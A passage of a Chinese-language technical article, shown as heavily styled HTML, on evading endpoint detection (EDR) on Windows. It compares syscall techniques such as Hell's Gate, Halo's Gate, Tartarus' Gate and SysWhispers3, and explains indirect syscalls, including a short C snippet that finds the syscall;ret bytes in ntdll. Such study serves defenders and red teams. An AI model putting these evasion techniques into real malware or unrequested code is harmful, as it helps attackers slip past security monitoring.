5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">❌</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★☆☆☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">❌ (RIP在未知内存)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ETW TI+栈回溯</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Hell&#39;s Gate</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">内存解析被Hook的ntdll</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">❌ (RIP在未知内存)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ETW TI+栈回溯</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Tartarus&#39; Gate</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">磁盘映射干净ntdll</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">❌ (RIP在未知内存)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ETW TI+栈回溯</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">SysWhispers3</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">编译时生成</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★☆☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">❌ (RIP在未知内存)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ETW TI+栈回溯</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Halo&#39;s Gate</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">跳过Hook扫描相邻SSN</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">❌ (RIP在未知内存)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ETW TI+栈回溯</span></p></td></tr></tbody></table></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.2 间接系统调用（Indirect Syscall）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">原理</span></strong><span leaf="">：跳转到 ntdll.dll 中原始 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">syscall; ret</span></code><span leaf=""> 指令的位置执行系统调用，返回地址指向 ntdll.dll 内部而非未知内存区域，使调用栈看起来合法。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">Direct Syscall 调用栈:</span><span leaf=""><br/></span><span leaf="">  攻击代码区域 ◄── 返回地址指向未知内存 (EDR可检测)</span><span leaf=""><br/></span><span leaf="">Indirect Syscall 调用栈:</span><span leaf=""><br/></span><span leaf="">  攻击代码区域 ──▶ ntdll.dll!syscall;ret ◄── 返回地址指向ntdll (看起来合法)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">代码实现：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 1. 在ntdll中定位原始syscall指令地址 (扫描0F 05 C3序列)</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">PVOID </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">FindSyscallInstruction</span></span><span style="line-height: 26px;"><span leaf="">(PVOID pNtFunction)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    BYTE* ptr = (BYTE*)pNtFunction;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">; i++) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (ptr[i] == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0F</span></span><span leaf=""> &amp;&amp; ptr[i+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf=""> &amp;&amp; ptr[i+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC3</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (PVOID)(ptr + i);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 2. 设置SSN后JMP到ntdll!syscall;ret (非直接执行syscall)</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Direct vs Indirect Syscall 对比：</span></strong></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: 